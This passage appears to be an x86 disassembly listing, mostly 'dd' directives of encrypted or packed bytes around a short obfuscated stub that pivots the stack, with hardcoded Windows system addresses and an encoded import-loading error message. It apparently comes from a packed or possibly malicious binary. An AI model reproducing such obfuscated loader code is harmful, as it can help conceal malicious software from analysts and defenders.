0FC845F37h, 0B5FD5FC2h, 0B7D364F3h, 72ED1C89h dd 0D5A7BBC7h, 99002100h, 73107BEBh, 3514337Fh, 0DF86197Dh dd 0E0D5A825h, 0EB5668C1h, 6849F36Eh, 9720B7F1h, 3CA997F3h dd 26A752CDh, 120D5A8h, 0D098B920h, 0A8269C4Fh, 474D3FD5h dd 0E794838Ah, 76572169h, 32E97612h, 9BD5A88Eh, 26110E9h dd 0D3F21B7Bh, 1580329Bh, 4F07BD2Bh, 0D94F1471h, 0F2D3F26Bh dd 8339A896h, 380662CBh, 0E88C15C7h, 3094C477h, 52405C9h dd 2E670B4Dh, 0B3102E4Ah, 0FB89A831h, 0DF33F5DBh, 0A33C74DFh dd 0CF747D8Dh, 37096D4Ch, 87B910CCh, 0FAC4A01Ch, 0E05CC489h dd 0E0795879h, 561089C1h, 881773BAh, 0C9305DB6h, 0CBAF3617h dd 8E3F3CB9h, 0EFA74438h, 3003C570h, 409A36C9h, 9711E1EFh dd 8DE9C8A3h, 743F7C12h, 0E5437DCFh, 0F9C75E7Fh, 0C07DD88Ch dd 747BA7AEh, 4D479EDh, 11730000h, 0C83C02ABh, 178BB51Ch dd 0CD320CA5h, 8EF8C66Fh, 0D35D7FD6h, 0EC45FF69h, 58F173D2h dd 0E841FB66h, 5EF76DD6h, 3AE17E1Ah, 93C2E585h, 2B1577C5h dd 0C63B05B7h, 78185E16h, 33D593Dh, 0E9763E9Eh, 0CF74C33Fh dd 8242A29Ch, 1C3251Bh, 3F1E6820h, 67B0C2A6h, 12DEA9DFh dd 0EC8571Fh, 8EC2EC55h, 60C429F5h, 95FBB070h, 0C8h, 0EE711527h dd 0C930942Bh, 56CF6DD4h, 1E200177h, 84A53CA8h, 94D453CCh dd 5F42C930h, 24400461h, 0EC73A61Ah, 0C930942Dh, 0D69EBF9Eh dd 4B9D397Fh, 57D33A1Bh, 0C9AD8C4Bh, 0A356C9ADh, 24C93082h dd 2FD24D05h, 0A8C93082h, 0B52E1089h, 1EE6025Ch, 0D3F2F683h dd 1D983C7Ah, 0C26F1D79h, 0D3C63C14h, 0D74EF66Eh, 9FD7F6h dd 0C92FCE61h, 13F5B7Ah, 0EE773FA5h, 2BB473D0h, 0C92FCE70h dd 0F0597859h, 0F3971EB6h, 2FCEC96Ch, 821B3AC9h, 300E5A1Dh dd 141E65C9h, 7EDE437Dh, 0C88EC6E7h, 8833AC2Ch, 45C9300Eh dd 1B2E6D04h, 1D3C4A17h, 30C7583Ch, 91C93019h, 0AA8B39AFh dd 42B8BCCEh, 0A39CF010h, 91D642EBh, 64000000h, 76129B37h dd 74B947E9h, 3EA786CFh, 0C120A500h, 82A3821Bh, 4ECB6D2Bh dd 6F0AB52Ah, 0EACBC2ECh, 0EE56B08Eh, 62DA4977h, 0B3FBDAFBh dd 6F01B52Ah, 760DC2ECh, 0D5DF47ACh, 51140838h, 0A6000000h dd 7014A137h, 30942CEFh, 57B18FC9h, 1D5574EDh, 0B7D34A6Bh dd 0EBA31989h, 5BF272D5h, 5A3E7B1Dh, 309462C5h, 5BC2E3C9h dd 30D411C4h, 5BC7BCC9h, 0C1A5F086h, 0F49C7B3h, 3C7495E7h dd 0D460C758h, 0C0E1C92Fh, 0D5330D69h, 0E9D7F66Fh, 3280C87Ch dd 0F76ED64Fh, 4BBB5CC9h, 153CA309h, 1D79D0F1h, 0F9C7FD6Fh dd 19864042h, 0C9303362h, 236B4A6Bh, 613CD65h, 53FD0866h dd 0BA254160h, 0CF745EC8h, 7B52D13h, 94B394Fh, 0E89FBDF2h dd 96D0928h, 0EC5AE396h, 8DC5E4C2h, 5ACC8B14h, 4DB5C2ECh dd 0DE4876EFh, 0A71FF66h, 6FD53320h, 0B1F6D7F6h, 97A960CAh dd 0D2CB52Fh, 77137345h, 5A20FBB0h, 92000000h, 17419B37h dd 0D58FF7ECh, 731F6D4Ch, 85E1C0A8h, 746E801Ah, 0F16849CFh dd 0EC5AA76Eh, 4EF650C2h, 0C67EE9D7h, 0DF407E5Fh, 6BDAE47Dh dd 5F4160F9h, 0A751FA24h, 2E602BBEh, 98E3A485h, 0A289FB8Eh dd 0FB6D500Dh, 3A1BC93Fh, 0B9209C04h, 7EE6D098h, 0B7FBAFC1h dd 0D2h, 6ED64F05h, 0E55FC9F7h, 63E1427Ch, 13C93907h, 87FCC25Bh dd 2187B9DDh, 531B3AA3h, 999265FAh, 4ABBC930h, 980D339Ah dd 976482Ch, 4C6DD74Ch, 25BCF4D5h, 2246CF63h, 74B223BDh dd 52CEF0CFh, 48D193F5h, 0F0D14869h, 9FBCCEB8h, 0E00B79DCh dd 9153B28Ch, 0A1082908h, 0A6C24BE7h, 327C3439h, 6CD5EBC9h dd 4869F0h, 0D335776h, 90B12894h, 2482BCD8h, 2BBF7AE5h dd 2908C92Eh, 299FA108h, 989D1EBBh, 7AE37DE1h, 1B5EEh dd 0EAE1400h, 0B72D99A7h, 1CC0201Eh, 0A6168BB5h, 6DD7310Fh dd 0DE3EE6C4h, 6B55FC68h, 0DFE148FCh, 6F51F864h, 0A3E74EF6h dd 82A158C7h, 7C2AC2E5h, 6BD94FCEh, 6AD2310Fh, 339AD2F3h dd 46FE6957h, 11D3300Eh, 9B370AB8h, 53E97612h, 0BACF749Fh dd 899A41DEh, 1233C2ECh, 8235AA33h, 0BC2EC89h, 82BC2597h dd 4038A123h, 5A1DEF3Bh, 0B410F521h, 41FBB0A8h, 0D1h, 6ED64FF3h dd 0E55FC9F7h, 9914E37Ch, 0C83DC930h, 0DF46781Ch, 0BA842D65h dd 0BF1D8449h, 0B141079Eh, 0CC55077Bh, 908437A8h, 6445C930h dd 9F006445h, 0CF74B201h, 0E48E1C0h, 2B4F2B62h, 0EC6E05B4h dd 0AF158EC2h, 39CF8D9h, 0C2EC6E58h, 7C185071h, 2BA2618h dd 1379D54Ah, 0D5F4C933h, 2EB1D5B1h, 0C92E116Bh, 780F7D5Ch dd 950CB61Ah, 8BFDC38Bh, 5058039Ch, 5071C92Eh, 80E6D871h dd 60F96BDBh, 59037F41h, 65C0E1C0h, 7DE1B5ECh, 0AB1D8910h dd 2A000000h, 93AD04B8h, 2618B133h, 95AB02BAh, 2719B02Ch dd 88AA03C1h, 9A4ABCA0h, 2A9A0D33h, 9646BD83h, 20A4013Fh dd 36A9CD89h, 0C2E58183h, 4FA01244h, 0FCC26BD9h, 1074DD87h dd 470FB52Eh, 0EE7115F5h, 0C930942Bh, 0BCCFBD9Ch, 0B5AD7A78h dd 41A29CD4h, 0BF241A83h, 9A056105h, 0C92F9BDFh, 0E89E46A0h dd 6E2881C9h, 0B02F4BC2h, 0CF7AA305h, 407EE7C6h, 0F6C861E3h dd 0D14ED78Dh, 148D37B5h, 57C46E15h, 0E1DF76EEh, 6759C084h dd 0E5DB42FAh, 645AC381h, 0B6DC45FFh, 93EB61CDh, 74D13EE8h dd 0FE6759F0h, 34BDF46h, 0F9000000h, 0D54FFB49h, 63C0FE67h dd 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h dd 5AC6F861h, 0E1457BE2h, 83EDFA63h, 2C8904ECh, 81E58924h dd 4C5h, 4ED8300h, 5C242C87h, 2BF268h, 241C8900h, 81E68956h dd 4C6h, 4EE8300h, 5C243487h, 55242C89h, 1163BF57h, 0E781382Fh dd 6C13CB5h, 2131E781h, 0E7816091h, 8B74D50h, 1123F781h dd 0FD8912F0h, 166CBB5Fh, 0EB3114BAh, 2C8B545Dh, 4C48324h dd 24348153h, 3A9A6EA9h, 5008458Fh, 8B8h, 81E80100h, 9A6EA930h dd 2C8B583Ah db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_5445C2 ; --------------------------------------------------------------------------- db 0F2h dd 336B005Fh, 2D30EFDAh, 7A183783h, 4B1435B8h, 0FFC50306h dd 6AB83E0h, 286D8F66h, 9E20A667h, 7D640F41h, 94747274h dd 0FF4BB73h, 5ECE4470h, 1AAC2976h, 7B425676h, 650B705Dh dd 2FBC3559h, 0CC1EA624h, 0AA9EF50Fh, 0E84EB627h, 96148F79h dd 0E7B53303h, 42CC3E52h, 4102341h, 8F17D54Dh, 574DD563h dd 382FB71Dh, 0CE659B3Ah, 0A8B59F00h, 8EDE6823h, 73E29309h dd 8B998B26h, 46EA103Eh, 1D94FD45h, 14E87Eh, 0E0170000h dd 0DAD586D9h, 13DEF1F1h, 0CBD88493h, 0C9D9AD8Ch, 58F93F96h dd 0C081F18Bh, 5CFEh, 58A0Fh, 81660000h, 335FA2D7h, 0CE950DBh dd 76000000h, 0A93C1682h, 1139832Fh, 5FD1648Fh, 0F180C8Bh dd 0D8Bh, 8E900h, 6F2B0000h, 0EAB4530Ah, 0E9811184h, 3008EA72h dd 28C0Fh, 69B20000h, 96D9F181h, 0C181110Dh, 10DA480h dd 51D68B66h, 13E8h, 0F3B73D00h, 5D6186ADh, 6359D99Dh dd 0EE24AEF7h, 0AA22FFD2h, 8F5FD38Ah, 0E9601804h, 6, 3FEEFB05h dd 830F8BF8h, 5, 908D5FBAh, 0EB83614Eh, 0F7816602h, 4B4BEAF6h dd 10BE6651h, 0FB815AD5h, 0FFFFA3F4h, 0F850Fh, 0B70F0000h dd 2AE9F9h, 60350000h, 0B826BC44h, 0E86060C1h, 0Ah, 63320C4Ch dd 2EC42046h, 665E30E4h, 7EB0EB81h, 4DE96161h, 7FFFFFFh dd 290673D0h, 127E9h, 765B5000h, 4EEFAC73h, 15h, 206E4100h dd 6F727245h, 61682072h, 636F2073h, 65727275h, 68772064h dd 20656C69h, 64616F6Ch, 20676E69h, 6F706D69h, 737472h dd 77E7AC37h, 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h dd 77E60000h, 7, 5 dup(0) dd 77E7A5FDh, 2Ch dup(0) dd 6, 0C706E148h, 63921DF4h, 8F96A6CFh, 345146EFh, 0B11C1311h dd 761E4335h, 2B616642h, 0F29E3572h, 321177A9h, 0C790EF88h dd 0BF132246h, 74BD29BFh, 69C69917h, 17A8E5D0h, 3213224Fh dd 61457156h, 321177A9h, 0C790EF88h, 0BF132246h, 74B058BFh dd 69C69917h, 0B1D5EDD0h, 7903CCF9h, 0B61A6624h, 32156601h dd 3068E305h, 0E2EA600Fh, 30B8E3AFh, 0E2EA605Ah, 30FCE34Eh dd 5A436000h, 0AEBDDE70h, 25FCD3EEh, 0B79860CCh, 345211EBh dd 0B79CB6DDh, 34515628h, 256FE305h, 0BF45600Fh, 79033DA7h dd 0A7EA3617h, 34517A89h, 3E68E383h, 32156066h, 0B7D36611h dd 34516461h, 5B7C0E01h, 87EAE850h, 34514B6Ch, 870E305h dd 0E2EA6000h, 2C38E3ABh, 0B7D36055h, 34516461h, 594B0E07h dd 87EAFA45h, 34514B6Ch, 870E305h, 0E2EA6000h, 2487E3ABh dd 0B7D3605Ah, 34516461h, 5A3C0E10h, 87EA8840h, 34514B6Ch dd 870E305h, 0E2EA6000h, 2483E3ABh, 0B7D3605Ah, 34516461h dd 0AD70E01h, 87EABC42h, 34514B6Ch, 870E305h, 0E2EA6000h dd 248FE3ABh, 8F96605Ah, 34514999h, 77906944h, 0F4156622h dd 76178F94h, 0B47D238Eh, 0CDEF463Ah, 76381B97h, 5790EB17h dd 0CD1322B2h, 0AC90EF94h, 0F4132D34h, 76178F94h, 0F17D2A8Eh dd 0CDF54094h, 76381B97h, 5790EB17h, 0CD1322B2h, 9090EF94h dd 0DB132D34h, 32156651h, 30FCE34Eh, 5A476000h, 8E5F822Fh dd 3B10D3EEh, 0B79860CCh, 34515C21h, 0B79CB6DDh, 345E708Fh dd 30FCE34Eh, 5A476000h, 94592C6Ah, 3B10D3EEh, 0B79860CCh dd 34515C21h, 0B79CB6DDh, 345E70B3h, 30FCE34Eh, 5A476000h dd 0CF57D2C8h, 1F68D3EEh, 0B79860CCh, 34515C21h, 0B79CB6DDh dd 34517314h, 30FCE34Eh, 5A626000h, 0C182CE81h, 3C30D3EEh dd 0B79860CCh, 34515C21h, 0B79CB6DDh, 34514A24h, 30FCE34Eh dd 5A476000h, 0B8C85735h, 1F68D3EEh, 0B79860CCh, 34515C21h dd 0B79CB6DDh, 34514AE4h, 30FCE34Eh, 5A436000h, 0E60A0B1Bh dd 25FCD3EEh, 0B79860CCh, 345211EBh, 0B79CB6DDh, 34517C6Ch dd 30FCE34Eh, 5A526000h, 0B3C97658h, 1F68D3EEh, 0B79860CCh dd 34515C21h, 0B79CB6DDh, 345171B8h, 30FCE34Eh, 5A526000h dd 0B81AD3C0h, 1F68D3EEh, 0B79860CCh, 34515C21h, 0B79CB6DDh dd 345E70D3h, 16F0DB0Bh, 3D156000h, 321337A6h, 0DB90A011h dd 7E13228Ah, 0E8098F2Ch, 4FA099FBh, 0BF13223Ch, 762F030Dh dd 0BBC59942h, 7903C8A7h, 0DB90A017h, 7E13228Ah, 46CBA82Ch dd 4FA099FFh, 0BF13223Ch, 762F030Dh, 0BBC59942h, 7903D4A7h dd 0DB90A017h, 7E13228Ah, 0B397592Ch, 4FA09995h, 0BF13223Ch dd 762F030Dh, 0BBC59942h, 7903D0A7h, 0DB90A017h, 7E13228Ah dd 1D557E2Ch, 4FA09991h, 0BF13223Ch, 762F030Dh, 0BBC59942h dd 7903D0A7h, 0DB90A017h, 7413228Ah, 0EC13722Ch, 4FA09998h dd 0BF13223Ch, 762F030Dh, 0BBC59942h, 7903D8A7h, 0DB90A017h dd 7513228Ah, 0EE051C2Ch, 4FA099A3h, 0BF13223Ch, 762F030Dh dd 0BBC59942h, 7903A0A7h, 0DB90A017h, 7513228Ah, 0B59BCA2Ch dd 4FA099CDh, 0BF13223Ch, 762F030Dh, 0BBC59942h, 7903ACA7h dd 0DB90A017h, 7513228Ah, 0A8B2B42Ch, 4FA099F6h, 0BF13223Ch dd 762F030Dh, 0BBC59942h, 7903A8A7h, 0DB90A017h, 7513228Ah dd 0F32C622Ch, 4FA09998h, 0BF13223Ch, 762F030Dh, 0BBC59942h dd 7903B4A7h, 97A8E517h, 32132288h, 0B7D34631h, 345164CBh dd 1F720E56h, 87EA86FAh, 34514B39h, 870E3AFh, 0E2EA6055h dd 24C3E301h, 0B7D3600Fh, 345164CBh, 81A40E56h, 87EAE8A1h dd 34514B39h, 870E3AFh, 0E2EA6055h, 24CFE301h, 0B7D3600Fh dd 345164CBh, 78B20E52h, 87EAA6FEh, 34514B39h, 870E3AFh dd 0E2EA6055h, 24CBE301h, 0B7D3600Fh, 345164CBh, 5EFE0E5Dh dd 87EA9DEEh, 34516861h, 870E3AFh, 0E2EA6055h, 2567E301h dd 0B7D3600Fh, 345164CBh, 0BC400E55h, 87EADDFBh, 34514B39h dd 870E3AFh, 0E2EA6055h, 24F7E301h, 0B7D3600Fh, 345164CBh dd 5CE90E52h, 87EADA06h, 34514B39h, 870E3AFh, 0E2EA6055h dd 24F3E301h, 0B7D3600Fh, 345164CBh, 0CBF0E42h, 87EAA098h dd 34514B39h, 870E3AFh, 0E2EA6055h, 24FFE301h, 8F96600Fh dd 3451560Bh, 0D2916911h, 0F4156688h, 76178FC1h, 37D2024h dd 0CDEFF0DFh, 76381B3Dh, 5790EB42h, 0CD132218h, 7490EFC1h dd 0F4132D9Fh, 76178FC1h, 0E47D2024h, 0CDE9C12Bh, 76381B3Dh dd 5790EB42h, 0CD132218h, 6490EFC1h, 0F4132D9Fh, 76178FC1h dd 327D2024h, 0CD879AB5h, 76381B3Dh, 5790EB42h, 0CD132218h dd 6890EFC1h, 0F4132D9Fh, 76178FC1h, 587D2024h, 0CDE3B25Eh dd 76381B3Dh, 5790EB42h, 0CD132218h, 6C90EFC1h, 0F4132D9Fh dd 76178FC1h, 0D57D2024h, 0CD81AB41h, 76381B3Dh, 5790EB42h dd 0CD132218h, 7890EFC1h, 0F4132D9Fh, 76178FC1h, 97D2024h dd 0CDA44465h, 76381B3Dh, 5790EB42h, 0CD132218h, 7C90EFC1h dd 0F4132D9Fh, 76178FC1h, 0DF7D2024h, 0CDCA1FFBh, 76381B3Dh dd 5790EB42h, 0CD132218h, 6090EFC1h, 0B1132D9Fh, 7615C3F9h dd 12606624h, 30FCE3D7h, 5A4660CCh, 0FCAB861Ah, 1F68D3DDh dd 0B7986055h, 34515CEDh, 0B79CB6BBh, 345E70CCh, 30FCE3D7h dd 5A5260CCh, 0F5A438C3h, 1F68D3DDh, 0B7986055h, 34515CEDh dd 0B79CB6BBh, 345E70D0h, 32B0DB92h, 471560CCh, 0DB90A064h dd 75132220h, 506B6379h, 4FA0996Eh, 0BF132269h, 762F03A7h dd 0BBC59917h, 7903900Dh, 0DB90A042h, 71132220h, 481C9079h dd 4FA0991Ah, 0BF132269h, 762F03A7h, 0BBC59917h, 79039C0Dh dd 0DB90A042h, 71132220h, 13824679h, 4FA09974h, 0BF132269h dd 762F03A7h, 0BBC59917h, 7903980Dh, 97A8E542h, 32132222h dd 0B7D32664h, 34516461h, 9A160E07h, 87EAED22h, 34514B6Ch dd 870E305h, 0E2EA6000h, 2513E3ABh, 0B7D3605Ah, 34516461h dd 4C00E07h, 87EA8379h, 34514B6Ch, 870E305h, 0E2EA6000h dd 2517E3ABh, 0B7D3605Ah, 34516461h, 0F40E07h, 87EA8C88h dd 34514B6Ch, 870E305h, 0E2EA6000h, 251FE3ABh, 0B7D3605Ah dd 34516461h, 9E220E07h, 87EAE2D3h, 34514B6Ch, 870E305h dd 0E2EA6000h, 251BE3ABh, 0B7D3605Ah, 34516461h, 0A2C10E0Bh dd 87EAF117h, 34514B6Ch, 870E305h, 0E2EA6000h, 2507E3ABh dd 0B7D3605Ah, 34516461h, 3C170E0Bh, 87EA9F4Ch, 34514B6Ch dd 870E305h, 0E2EA6000h, 2503E3ABh, 0B7D3605Ah, 34516461h dd 4B5C0E09h, 87EAAE15h, 34514B6Ch, 870E305h, 0E2EA6000h dd 250BE3ABh, 0B7D3605Ah, 34516461h, 7F9C0E09h, 87EABAD5h dd 34514B6Ch, 870E305h, 0E2EA6000h, 250FE3ABh, 0B7D3605Ah dd 34516461h, 1F220E11h, 87EAFA39h, 34514B6Ch, 870E305h dd 0E2EA6000h, 2537E3ABh, 0B7D3605Ah, 34516461h, 0C23F0E07h dd 87EAB4F7h, 34514B6Ch, 870E305h, 0E2EA6000h, 2533E3ABh dd 0B7D3605Ah, 34516461h, 86FF0E16h, 87EA9B60h, 34514B6Ch dd 870E305h, 0E2EA6000h, 2710E3ABh, 0B7D36055h, 34516461h dd 6B8C0E03h, 87EA84BAh, 34514B6Ch, 870E305h, 0E2EA6000h dd 253FE3ABh, 0B7D3605Ah, 34516461h, 52D70E03h, 87EAD7DFh dd 34514B6Ch, 870E305h, 0E2EA6000h, 253BE3ABh, 0B7D3605Ah dd 34516461h, 0CC010E03h, 87EAB984h, 34514B6Ch, 870E305h dd 0E2EA6000h dd 2527E3ABh, 0B7D3605Ah, 34516461h, 0C07D0E1Bh, 87EAF872h dd 34514B6Ch, 870E305h, 0E2EA6000h, 2523E3ABh, 0B7D3605Ah dd 34516461h, 492A0E0Bh, 87EAA1DEh, 34514B6Ch, 870E305h dd 0E2EA6000h, 2577E3ABh, 0B7D3605Ah, 34516461h, 5C590E03h dd 87EA9C79h, 34514B6Ch, 870E305h, 0E2EA6000h, 2573E3ABh dd 0B7D3605Ah, 34516461h, 16D80E03h, 87EAA524h, 34514B6Ch dd 870E305h, 0E2EA6000h, 257FE3ABh, 0B7D3605Ah, 34516461h dd 52D90E1Bh, 87EAB299h, 34514B6Ch, 870E305h, 0E2EA6000h dd 252FE3ABh, 0B7D3605Ah, 34516461h, 665B0E1Bh, 87EAF8CBh dd 34514B6Ch, 870E305h, 0E2EA6000h, 252BE3ABh, 0B7D3605Ah dd 34516461h, 1A5D0E1Bh, 87EAB731h, 34514B6Ch, 870E305h dd 0E2EA6000h, 2557E3ABh, 367F605Ah, 320566E0h, 22150E44h dd 327F6622h, 22CF3EEh, 0B79C60CCh, 34514DC9h, 31EDE3AFh dd 0E2EA605Ah, 327D62E2h, 5A156654h, 32154622h, 0A7EA667Bh dd 345156B1h, 3164E3CDh, 0B79C6066h, 345143D0h, 327D26E2h dd 5A156654h, 32146622h, 0A7EA667Bh, 345156B1h, 22ACE3CDh dd 879E6066h, 34517E28h, 2F00FB03h, 879C6000h, 34517AC7h dd 34FB98h, 0AF9E60CCh, 34517B51h, 0CB966DA9h, 0ED916911h dd 62156682h, 0F2260615h, 2BECE3ABh, 0EAB6055h, 31156688h dd 54354230h, 1651658Fh, 4A65ED31h, 1231128Bh, 0BB0D18CFh dd 7635C39Fh, 3DEAE317h, 32156C0Dh, 231B8E44h, 0A3FC6622h dd 63156611h, 0E07EB103h, 0A780EF40h, 58132206h, 22150E15h dd 58476688h, 0B809944h, 0BB132212h, 7601AF94h, 6BC5ED8Eh dd 3205B9ACh, 31B83022h, 0A5314255h, 42B903h, 0B71AC884h dd 0CDEA99DBh, 60EE4D4Fh, 8F9EB103h, 34514DC9h, 1EAAFA1h dd 13ECD1h, 369E2049h, 3AFCA7C3h, 3D5FAE11h, 0CDEA8C94h dd 0C5D4ED77h, 309C3C94h, 6011A4A1h, 2BECE3EEh, 0A79E60CCh dd 34517FBDh, 12B0F31Bh, 0B61A6055h, 32156682h, 0F496381Eh dd 0CD8E8F26h, 6C4F99EEh, 0F54D3FE9h, 760F17C1h, 32156624h dd 5790A111h, 32132294h, 0B1156644h, 7903CC9Fh, 0B61A6617h dd 32156680h, 5192FBC9h, 0E1EA6068h, 31B4E3EEh, 8F9660CCh dd 345165E5h, 50976946h, 0F5156611h, 7616C70Dh, 32156742h dd 87980622h, 345E7193h, 1F8DB05h, 0CC3E600Fh, 8F9EB1A9h dd 34514D9Ch, 1EAAF0Bh, 13EC84h, 369E20E3h, 3AFCA796h dd 3D5FAEBBh, 0CDEA8CC1h, 0C5D4EDDDh, 57905FC1h, 3D13228Ah dd 321571C0h, 0B3A8E522h, 32132232h, 321FE387h, 0B7D26644h dd 34516A5Fh, 32156610h, 65D5DFE9h, 0D4AF69D0h, 9F42FCBDh dd 2EF0D398h, 74D260CCh, 321566B8h, 0DCFB5B22h, 0B71A88FFh dd 321566A8h, 0EFC858C5h, 0B71ABBFFh, 32156605h, 3215604Fh dd 0F4966644h, 0D7A0EF26h, 0DB13220Dh, 32156E71h, 0B726BECFh dd 34516A5Fh, 1916AED0h, 22D5A74Ah, 0AF9CA777h, 34516A5Fh dd 3315662Ch, 77966988h, 0B3156644h, 89AEDD1Ch, 0B9069AAh dd 0F5156688h, 32156642h, 36D3E522h, 2EF0D398h, 0AF9E60CCh dd 34517B51h, 0E29E6DA9h, 19D7ED71h, 76125F0Dh, 30F5A742h dd 274E321h, 9F836055h, 769CA78Bh, 0DB747A60h, 3215665Eh dd 0FB263440h, 26DCF303h, 302E6000h, 322DE22Dh, 0F0966611h dd 0BF2E278Ch, 345146E1h, 0CDFDE32Dh, 879899EEh, 345E70EFh dd 3664DBC9h, 0B6B96066h, 349169D1h, 98156688h, 0CDEA97ADh dd 3215DEDDh, 0BF986611h, 345128DDh, 0BF9C87BBh, 34517FDBh dd 0B9433F4Bh, 76087315h, 0B91EED42h, 760C9FA7h, 31F5B717h dd 7603EF0Dh, 0A4E35542h, 0D2D4CB44h, 53906513h, 0A41322B8h dd 6CD465E9h, 1BA0DBA1h, 3D146055h, 32155F0Ch, 4F985D44h dd 3D13220Fh, 32154B95h, 17985D88h, 3D13224Ah, 321547A6h dd 0B7985D11h, 3D132295h, 321573C0h, 0F788EB22h, 0CD132D3Ah dd 0BBEDED5Bh, 760BEBC1h, 34A18F24h, 0AF986611h, 345E4D4Dh dd 8F96B5BBh, 34514F97h, 2F916911h, 9156688h, 760FCFC1h dd 3E916924h, 9156611h, 760C530Dh, 37906942h, 0DB156622h dd 0CDEA99A8h, 2C38E3B3h, 0B71A6000h, 3215663Ah, 1D04DB92h dd 3D1560CCh, 32156DC1h, 890EB22h, 0DB132D15h, 0CDEA991Dh dd 2C38E37Fh, 0B61A6066h, 0CDEA9998h, 2476DB0Bh, 3D14600Fh dd 321571A7h, 0F0905D11h, 3D132D9Eh, 32156DC1h, 9290EB22h dd 0DB153EF7h, 0CDEA99E5h, 8F969977h, 345142C7h, 55916911h dd 915668Bh, 7903C8C1h, 0B9121324h, 763DDF94h, 0B72E218Eh dd 345E70F2h, 0B79E6157h, 345176C8h, 80905DCFh, 47132D52h dd 5B90ED25h, 75132204h, 24AFE3B3h, 3560600Fh, 165CE3A9h dd 9526055h, 7903D80Dh, 0B9121342h, 760AE7A7h, 0B72E2117h dd 345E704Ah, 0B79E6131h, 345149E7h, 0F4905D56h, 47132D9Eh dd 790ED43h, 75132203h, 24DFE32Ah, 356060C3h, 3D88E3CFh dd 9526066h, 7903A894h, 0B912138Eh, 76011FC1h, 0B72E2124h dd 345E70C3h, 0B79E61FDh, 34517CF1h, 0E8905D65h, 47132D07h dd 0E790ED8Fh, 7513225Eh, 24C3E319h, 2260605Ah, 32B0DB0Bh dd 47156000h, 0EB90ED25h, 7513223Dh, 1E9CDB0Bh, 46156000h dd 50905D2Dh, 47132D06h, 4F90ED8Fh, 75132259h, 23CDBA1h dd 46156055h, 1BA8E5FAh, 3213224Eh, 0B72E0F56h, 345E7157h dd 0B79E61FDh, 34516489h, 64905D65h, 47132D06h, 0F90ED8Fh dd 7513224Ah, 255FE319h, 3560605Ah, 1D30E303h, 9526000h dd 79023CA7h, 0B9121317h, 76251F0Dh, 0B72E2142h, 345E717Ch dd 0B79E6164h, 345173C5h, 7C905D03h, 47132D35h, 3390ED16h dd 751322A9h, 2547E37Fh, 35606069h, 1454E39Ah, 0B15260CCh dd 761F4FF9h, 0B61A6624h, 3215641Bh, 24CBE3B3h, 3560600Fh dd 2EC0E3A9h, 9526055h, 7902140Dh, 0B9121342h, 760D17A7h dd 0B72E2117h, 345E706Ah, 0B79E6131h, 345161DFh, 0D4905D56h dd 47132D9Eh, 0EF90ED43h, 75132236h, 24FFE32Ah, 356060C3h dd 1AC4E3CFh, 9526066h, 79038894h, 0B105138Eh, 7615C3F9h dd 35606624h, 3B28E39Ah, 95260CCh, 790394C1h, 0B9121324h dd 763C3794h, 0B72E218Eh, 345E70B2h, 8F967657h, 345166B4h dd 0B9121388h, 761F0FC1h, 0B72E2124h, 345E70EBh, 0B79E61FDh dd 34516BA1h, 0CC905D65h, 47132D07h, 0B390ED8Fh, 7513225Ah dd 2513E319h, 2260605Ah, 32B0DB0Bh, 47156000h, 9390ED25h dd 7513220Fh, 2517E3B3h, 2260600Fh, 32B0DBA1h, 47156055h dd 2390ED8Fh, 75132243h, 251FE319h, 3560605Ah, 3E4CE303h dd 9526000h, 790268A7h, 0B9121317h, 7627CB0Dh, 0B72E2142h dd 345E7130h, 0B79E6164h, 34517391h, 24905D03h, 47132D35h dd 0F90ED16h, 751322ABh, 250FE37Fh, 35606069h, 184E39Ah dd 95260CCh, 790278C1h, 0B9121324h, 763ECB94h, 0B72E218Eh dd 345E7166h, 0B79E6157h, 3451495Ch, 14905DCFh, 47132D53h dd 8F90ED25h, 75132219h, 2710E3B3h, 35606000h, 25E8E3A9h dd 9526055h, 79024C0Dh, 0B9121342h, 7617EBA7h, 0B72E2117h dd 345E71EEh, 8F967F31h, 345E714Ch, 0B11C1311h, 763CD335h dd 35616642h, 3078E3A9h, 9526055h, 79020C0Dh, 0B10C1342h dd 7902089Fh, 3B606617h, 1BA0DB0Bh, 46156000h, 0B390ED25h dd 7513223Bh, 253BE3B3h, 3560600Fh, 1764E3A9h, 9526055h dd 7902540Dh, 0B9121342h dd 7612DBA7h, 0B72E2117h, 345E71BEh, 0B79E6131h, 34514213h dd 8905D56h, 47132D9Fh, 0B90ED43h, 75132213h, 252BE32Ah dd 356060C3h, 2D44E3CFh, 9526066h, 79022494h, 0B912138Eh dd 7609B3C1h, 0CD1E2124h, 3210E21Eh, 0D8FC6688h, 9EA99BFh dd 763953A7h, 39906917h, 0BF156688h, 78AD71C1h, 0C9C68F24h dd 0B72E99EEh, 34514A7Dh, 320DE34Bh, 8F966622h, 345E7072h dd 39906989h, 0BF156644h, 6AF345A7h, 0C9BA8F11h, 0B72E9977h dd 345E70DAh, 3219E22Dh, 0B72E6611h, 345E702Ah, 3210E34Bh dd 0A0FC6622h, 8CEA99EAh, 32156688h, 3D1498C7h, 321523A7h dd 0A0905D11h, 3D132D9Eh, 32156DC1h, 0D690EB22h, 0DB153E73h dd 0CDEA9DE5h, 2483E37Fh, 0B71A6069h, 3215661Ah, 514FE305h dd 64FC661Ch, 9EA99D9h, 7903FC94h, 3990698Eh, 0BF156644h dd 6A76F9A7h, 0C92A8F11h, 0F29E9977h, 321567FAh, 3DE36D22h dd 32156394h, 0C9368F88h, 0C29E99BBh, 1378D3ABh, 879C6055h dd 345142E5h, 3DFC58C4h, 321540A7h, 336BED11h, 0EC9E988Bh dd 7215A5C5h, 8F2E6622h, 3451477Ch, 321DE487h, 0C92E6644h dd 3210E02Dh, 0D4FC6611h, 0B9EA9972h, 761617F9h, 2F90A124h dd 3213220Fh, 52156688h, 1678D3CDh, 0AF986066h, 345E57B7h dd 0B01AB577h, 32156666h, 0F21FFBAFh, 0E1EA6058h, 0CDCBE587h dd 879E99BBh, 3451424Fh, 2C08D398h, 0AF9860CCh, 345F056Bh dd 0B79EB5DDh, 3451477Ch, 1678E301h, 0BF746000h, 793B69BFh dd 0BFC69917h, 79259115h, 3DC69942h, 32156AA1h, 5F90E511h dd 371322ACh, 0CDEAB8ADh, 1288EBDDh, 0CD132D20h, 3A96695Bh dd 0B1156644h, 0FC62E0h, 0BF156611h, 7BD56C15h, 3DC69942h 